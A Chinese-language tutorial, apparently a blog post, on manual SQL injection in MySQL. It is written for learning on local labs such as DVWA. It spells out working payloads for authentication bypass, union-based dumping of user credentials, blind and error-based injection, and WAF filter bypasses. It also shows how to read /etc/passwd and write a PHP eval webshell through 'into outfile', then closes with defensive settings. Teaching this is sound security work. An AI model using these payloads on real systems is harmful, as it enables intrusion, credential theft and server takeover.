1. 从一次真实的渗透测试说起：为什么手动注入依然重要
去年，我参与了一个内部系统的安全评估项目。目标是一个看起来平平无奇的后台管理系统，登录框、搜索框、数据列表，一切都很“标准”。自动化扫描工具跑了一遍，报告里只列了几个低危的XSS，看起来“很安全”。但当我尝试在搜索框里输入一个单引号‘并提交时，页面返回了一个经典的数据库错误信息——一个完整的、包含表名和字段名的MySQL错误堆栈直接抛在了页面上。那一刻我就知道，一个典型的、可利用的SQL注入漏洞就摆在那里。自动化工具可能因为WAF的干扰、页面结构的复杂性或者payload的变形而漏报，但手动测试者的直觉和经验，往往能抓住这些“漏网之鱼”。
这就是我们今天要深入探讨的SQL手动注入。在自动化扫描器大行其道的今天，手动注入不仅没有过时，反而成为安全从业者、开发人员乃至对安全感兴趣的运维人员必须掌握的核心技能。它让你能真正理解漏洞的成因、攻击者的思路，以及最关键的——如何从防御者的角度去思考。很多人一提到SQL注入，就想到‘ or ‘1’=‘1，这仅仅是冰山一角。手动注入是一个系统的工程，从信息探测、漏洞确认、到数据提取、权限提升，每一步都充满了技巧和对抗。
本文不会教你如何攻击别人的非法系统，而是旨在通过一个完整的、模拟的实战视角，带你走一遍手动注入的全流程。你将学会如何像一个安全研究员一样思考，理解每一个payload背后的原理，从而在开发或审计代码时，能一眼识别出那些危险的“坑”。我们会从最基础的注入点识别讲起，逐步深入到联合查询注入、报错注入、布尔盲注和时间盲注，并穿插大量我在实际测试中踩过的坑和总结的技巧。无论你是刚入门安全的新手，还是想巩固基础的开发者，相信这篇超过5000字的实操指南都能给你带来实实在在的收获。
2. 注入环境搭建与核心原理速览
在真正动手之前，我们必须先有一个安全、合法的测试环境。我强烈建议所有人都在本地搭建靶场进行学习，切勿在未授权的情况下测试任何线上系统。这里我推荐两个经典靶场：DVWA和Pikachu。DVWA难度可调，非常适合循序渐进；Pikachu则囊括了各种类型的漏洞场景，分类清晰。以DVWA为例，将其部署在本地的PHPStudy或Docker环境中，将安全级别设置为“Low”，我们就得到了一个最理想的、毫无防护的注入实验场。
那么，SQL注入的核心原理究竟是什么？用一句最直白的话说：攻击者通过构造特殊的输入，改变了应用程序原本要执行的SQL语句的逻辑。关键在于，程序将用户输入的数据“拼接”到了SQL语句中，并且没有进行有效的过滤或转义。
来看一个最简单的例子。假设一个网站的登录验证SQL语句是这样写的：
SELECT * FROM users WHERE username = ‘$username’ AND password = ‘$password’这里的$username和$password是用户从登录表单提交上来的数据。如果用户老老实实输入admin和123456，那么拼接后的语句是：
SELECT * FROM users WHERE username = ‘admin’ AND password = ‘123456’这没问题。但如果用户在用户名输入框里输入的是admin‘ --（注意最后有个空格），那么拼接后的语句就变成了：
SELECT * FROM users WHERE username = ‘admin’ -- ’ AND password = ‘任何密码’在SQL中，--是单行注释符，它会把后面的所有内容都注释掉。于是，这条语句的实际执行部分就变成了：
SELECT * FROM users WHERE username = ‘admin’密码验证条件被完全绕过了！这就是一次最简单的注入攻击。手动注入的所有技巧，无论是联合查询、报错还是盲注，都是基于这个“改变原语句逻辑”的核心思想，通过精心构造的输入，让数据库执行我们期望的额外操作，比如查询其他表的数据、读取文件，甚至执行系统命令。
注意：不同的数据库（MySQL、SQL Server、Oracle、PostgreSQL）其SQL语法、注释符、内置函数都有差异。本文将以最常见的MySQL为例进行讲解，但原理是相通的。在实际测试中，判断目标使用何种数据库是第一步。
3. 第一步：注入点探测与数据库指纹识别
手动注入的第一步，不是急着扔进去一个union select，而是小心翼翼地试探。你的目标是回答两个问题：1. 这里是否存在注入漏洞？2. 它背后是什么数据库？
3.1 经典探测手法：字符型与数字型注入
注入点通常分为数字型和字符型。
- 数字型：参数直接被用于SQL语句中的数字比较，如
id=1。探测时，可以使用算术运算。例如，提交id=1 and 1=1，如果页面正常；提交id=1 and 1=2，如果页面异常（空白、报错或与之前不同），则极可能存在注入。因为1=2永假，如果注入存在，整个WHERE条件会失效，可能导致查询结果为空。 - 字符型：参数被引号包裹，如
name=‘admin’。探测时，需要使用引号来闭合原语句。例如，提交name=admin‘ and ‘1’=‘1，页面正常；提交name=admin‘ and ‘1’=‘2，页面异常。这里我们通过输入的单引号‘闭合了前面的引号，然后加入我们的逻辑判断，最后再用一个‘来闭合后面程序可能添加的引号。
实操技巧：我习惯先用一个单引号‘或双引号“进行试探。如果页面返回了数据库错误信息（如MySQL的You have an error in your SQL syntax...），那几乎可以立刻断定存在注入，并且错误信息常常会直接告诉你数据库类型。如果页面只是变得“不正常”（如空白、布局错乱、缺少部分内容），但没有具体错误，那可能是一个“盲注”点，我们后面会讲。
3.2 数据库指纹识别
确认注入点后，需要识别数据库。不同数据库的函数名不同，通过执行一个“通用”的函数并观察结果或报错信息，就能判断。
- MySQL：尝试
and sleep(5)，如果页面响应延迟了大约5秒，很可能是MySQL。或者用version()函数，通过报错或回显来观察。 - SQL Server：尝试
waitfor delay ‘0:0:5’来制造延迟。 - Oracle：尝试
dbms_pipe.receive_message((‘a’),5)来延迟。 - PostgreSQL：尝试
pg_sleep(5)。
例如，在疑似数字型注入点，你可以提交：id=1 and sleep(5)--。如果页面加载了5秒，那基本就是MySQL了。同时，观察错误信息的格式也是极好的方法，MySQL和SQL Server的错误信息风格迥异。
我踩过的坑：在一次测试中，我使用sleep(5)后页面立刻返回了，我以为不是MySQL。后来才发现，目标应用设置了SQL语句执行超时时间，3秒就中断了。所以sleep(5)实际上执行了3秒就被终止，页面3秒后返回，让我误判。解决方法是用sleep(2)或sleep(3)再试一次，或者结合其他函数综合判断。
4. 信息收集：数据库结构探知
在确认注入点并知道数据库类型后，我们就像拿到了进入仓库的钥匙，但仓库里有哪些房间（数据库），房间里有哪些柜子（表），柜子里有哪些文件夹（列）呢？我们需要系统地收集这些信息。在MySQL中，有一个名为information_schema的元数据库，它就像整个数据库系统的“目录”，存储了所有其他数据库、表、列的信息。
4.1 查询当前数据库与用户
这是最基础的一步。
database(): 返回当前操作所在的数据库名。user(): 返回当前连接数据库的用户名。version(): 返回数据库版本信息。
如何让这些信息显示在页面上？这里就要引入联合查询注入的核心技巧了。假设原查询语句是SELECT title, content FROM news WHERE id=$id，它会返回两个字段（title, content）的数据并显示在页面某处。
我们的攻击思路是：
- 用
order by猜测原查询的字段数。提交id=1 order by 5--，如果页面正常，说明字段数>=5；如果报错，则小于5。通过二分法快速试出，比如order by 3正常，order by 4报错，那么字段数就是3。 - 找到可以回显数据到页面的字段位置。使用
union select语句，但前提是前后查询的字段数必须一致。假设我们试出字段数是3。那么构造：id=-1 union select 1,2,3--。这里把原id设为一个不存在的值（如-1），让前一个查询结果为空，这样页面显示的就全是我们union select的结果。观察页面，看数字“1”、“2”、“3”哪个位置被显示出来了。假设数字“2”显示在了文章标题处，数字“3”显示在了文章内容处。 - 利用回显位查询信息。构造：
id=-1 union select 1, database(), user()--。这样，数据库名和用户名就会分别显示在标题和内容的位置。
4.2 爆库、爆表、爆列
知道了回显位，我们就可以系统地获取所有数据结构。
- 爆所有数据库名：
id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--group_concat()函数将多行结果合并成一个字符串，用逗号分隔，避免多次查询。 - 爆指定数据库（假设库名为
dvwa）下的所有表名：id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’-- - 爆指定表（假设表名为
users）下的所有列名：id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’-- - 最终，提取数据：
这里我们把用户名和密码用冒号连接起来，一次性全部取出。id=-1 union select 1,group_concat(username, ‘:’, password),3 from dvwa.users--
实操心得：information_schema在MySQL 5.0及以上版本才存在。如果遇到很老的系统，可能需要用其他方法。另外，group_concat()有长度限制（默认1024字节），如果表数据太多，可能无法完全显示。这时可以改用substring()和limit子句分批次读取，例如：limit 0,1（读取第1行），limit 1,1（读取第2行）。
5. 高级注入技巧：当页面不再“说话”
上面讲的联合查询注入，前提是页面会“正常显示”数据库查询的结果。但在实际中，更多的情况是：页面不会显示数据，只会根据查询结果返回“是”或“否”两种状态（比如登录成功/失败），或者干脆什么错误信息都不给，只返回一个通用的页面。这就是盲注。盲注就像在黑暗中拆解一个密码锁，每次只能通过“咔哒”声（页面的细微变化）来判断对错，极其耗时但无法被传统的WAF完全拦截。
5.1 布尔盲注
布尔盲注的页面会有两种不同的响应状态，例如：
- 查询为“真”时，页面正常显示（或显示“用户存在”）。
- 查询为“假”时，页面显示错误、空白或“用户不存在”。
攻击思路是：通过构造SQL语句，将我们想查询的数据，变成一个“是/否”问题，然后根据页面反应来逐位“猜解”数据。 例如，我们想猜解当前数据库名的第一个字母。
- 先猜长度：
and length(database())=4--，如果页面正常，说明库名长度是4；否则继续试。 - 再猜第一个字符的ASCII码：
and ascii(substr(database(),1,1))>100--。substr(database(),1,1)截取库名的第一个字符，ascii()将其转为ASCII码。如果页面正常，说明ASCII码大于100；否则小于等于100。通过这种二分法（>100? >150? ...），可以快速定位到准确的ASCII码，比如97，对应字母‘a’。 - 然后猜第二个字符：
and ascii(substr(database(),2,1))>100--，如此反复。
这个过程非常繁琐，必须借助自动化工具（如Burp Suite的Intruder，或sqlmap）才能高效进行。但理解其原理至关重要。
5.2 时间盲注
这是最隐蔽的一种注入。页面无论查询真假，返回的内容和状态码都一模一样，没有任何区别。唯一的突破口是：让数据库在条件为真时执行一个耗时操作。 MySQL中，我们可以用sleep()函数。
- 猜解第一个字符：
and if(ascii(substr(database(),1,1))>100, sleep(5), 0)-- - 这条语句的意思是：如果数据库名的第一个字符的ASCII码大于100，那么让数据库睡眠5秒再响应；否则，立刻响应。
- 我们通过计算页面响应时间来判断：如果页面等了5秒才返回，说明条件为真（ASCII>100）；如果立刻返回，说明条件为假。
时间盲注的可靠性受网络波动影响很大，且速度极慢。在实际渗透测试中，一旦发现时间盲注，通常意味着其他简单的注入方式都被封堵了，这也从侧面说明了系统有了一定的安全防护（但没做彻底）。
5.3 报错注入
这是一种介于显错注入和盲注之间的“黄金”手段。它利用数据库某些函数执行出错时会将错误信息返回给页面的特性，故意触发一个错误，并将我们想查询的数据作为错误信息的一部分带出来。 MySQL中常用的报错函数有updatexml()、extractvalue()和floor()。 例如：
and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)--updatexml()函数用于更新XML文档，第二个参数需要是合法的XPath路径。我们故意传入一个非法路径~root@localhost~（0x7e是波浪号~的十六进制），数据库执行时会报错，并提示“XPath syntax error: ‘~root@localhost~’”，这样我们就把user()的结果通过错误信息爆出来了。
报错注入的优点是一次请求就能获取一段数据，效率远高于盲注。但它依赖于数据库配置允许错误信息回显到前端，这在生产环境中有时会被关闭。
我的经验选择：在实际手动测试时，我的优先级通常是：联合查询 > 报错注入 > 布尔盲注 > 时间盲注。联合查询最快最直接；报错注入在无回显位但报错信息能输出时是神器；盲注是最后的手段，一旦确定存在，我会立即转向用sqlmap等工具进行自动化猜解，手动操作太折磨人。
6. 绕过常见防御与WAF过滤
现在的Web应用多少都会有一些防护措施，比如在代码层进行输入过滤，或者部署了Web应用防火墙。直接使用union select、sleep()这样的关键词可能直接被拦截。这就需要我们掌握一些绕过技巧。
6.1 大小写/大小写混合绕过有些简单的过滤是直接匹配关键词字符串。UnIoN SeLeCt可能就能绕过对union select的检测。
6.2 双写关键字绕过如果过滤机制是删除掉关键词，那么可以尝试双写。ununionion seselectlect，当中间的union和select被删除后，剩下的字符恰好又组成了union select。
6.3 使用编码或注释符分割
- URL编码：
union可以写成%75%6e%69%6f%6e（某些情况下WAF解码层和应用程序解码层不一致可能导致绕过）。 - 内联注释：MySQL特有的
/*!...*/注释，其中的代码在MySQL中会被执行。/*!50000union*/ select，或者用注释分割关键词：uni/**/on sel/**/ect。
6.4 等价函数/语句替换
sleep(5)可以被benchmark(10000000, md5(‘test’))替代，后者通过大量计算来延时。substr()可以用substring()、mid()、left()、right()替代。ascii()可以用hex()、bin()、ord()替代。
6.5 利用数据库特性
- MySQL：
&&和||在特定模式下可以替代and和or。 - SQL Server：可以使用
+号进行字符串拼接，代替concat。
绕过实战案例：我曾遇到一个过滤了union和select且过滤了空格的情况。我的payload最终是这样构造的：
?id=1‘%0aand%0a’1‘=’1这里用%0a（换行符）代替了空格。然后通过报错注入获取数据：
?id=1‘%0aand%0aupdatexml(1,concat(0x7e,(/*!50000select*//*!50000user()*/),0x7e),1)%0aand%0a’1‘=’1这里用/*!50000select*/和/*!50000user()*/来包裹关键字，同时用%0a作为分隔，成功绕过了过滤。
重要提示：绕过技巧千变万化，核心在于理解过滤机制的薄弱点。最好的方法是fuzzing（模糊测试），即用Burp Intruder加载一个庞大的payload字典，观察哪些payload能成功触发预期行为（如延时、报错、内容差异）。手动注入的高手，往往也是一个优秀的Fuzzing策略制定者。
7. 从注入到getshell：危险的扩展
在极少数情况下，如果数据库配置不当（如以高权限运行，且secure_file_priv参数为空），SQL注入的危害可以远超数据泄露，直接导致服务器被完全控制（getshell）。这主要通过文件读写功能实现。
7.1 读取服务器文件使用load_file()函数。前提是知道文件的绝对路径。
union select 1, load_file(‘/etc/passwd’), 3--这可以读取Linux系统的用户配置文件。也可以用来读取网站源码，寻找其他漏洞。
7.2 写入Webshell这是最危险的一步。使用into outfile或into dumpfile语句。
union select 1, ‘<?php @eval($_POST[cmd]);?>’, 3 into outfile ‘/var/www/html/shell.php’--这条语句会将一句话木马写入网站的Web目录下。之后，攻击者就可以通过访问http://target.com/shell.php，用中国菜刀或蚁剑等工具连接，从而获得一个Webshell，在服务器上执行任意命令。
为什么这很危险？这意味着攻击者不仅偷走了你的数据，还在你的服务器上开了一个“后门”，可以植入勒索软件、挖矿程序，或者将其作为跳板攻击内网其他机器。
防御视角：从这次攻击中，作为开发或运维，你应该立刻明白：
- 绝对不能让数据库用户拥有
FILE权限。 - MySQL配置中
secure_file_priv必须设置为非空值（如/tmp/）或NULL，禁止任意路径的文件读写。 - Web目录的权限要严格控制，禁止数据库进程写入。
8. 手动注入的局限与自动化工具sqlmap的配合
经过上面漫长的步骤，你应该能感受到，一个完整的手动注入流程，尤其是盲注，是多么的耗时费力。在实际的渗透测试或安全评估中，时间就是金钱。因此，手动注入的核心价值在于漏洞的初步发现、原理验证和复杂绕过的探索。一旦确认漏洞存在且摸清了基本的注入类型和过滤规则，我们就会祭出“神器”——sqlmap。
sqlmap是一个开源的自动化SQL注入工具，它能完成我们上面提到的几乎所有步骤：探测、指纹识别、爆数据、甚至文件读写。它的强大在于其庞大的payload库和智能的推理算法。
如何配合使用？
- 手动发现与确认：你用
‘ and ‘1’=‘1和‘ and ‘1’=‘2确认了注入点，并发现过滤了空格和union。 - 交给sqlmap：你可以将含有注入点的请求保存为文本文件（如
req.txt），然后用sqlmap加载。sqlmap -r req.txt --tamper=space2comment --level 3 --risk 2-r: 从文件加载HTTP请求。--tamper=space2comment: 使用space2comment脚本，将空格替换为注释符/**/，尝试绕过过滤。--level和--risk: 提高测试的强度和风险等级，尝试更多payload。
- 分析结果：sqlmap会尝试各种技术（布尔盲注、时间盲注、报错注入、联合查询），并最终告诉你是否存在注入，以及能获取哪些数据。
手动注入思维不可替代：尽管sqlmap很强大，但完全依赖它是有风险的。WAF规则在更新，奇怪的过滤逻辑层出不穷。sqlmap跑不出来，不代表没有漏洞。这时，就需要你用手动注入的知识去分析请求与响应，构造出那个“恰到好处”的payload。理解手动注入，是你理解和有效使用sqlmap，乃至写出自己Fuzzing脚本的基础。它培养的是一种对数据流、对程序逻辑的敏感度，这种敏感度在代码审计、漏洞挖掘的其他领域同样至关重要。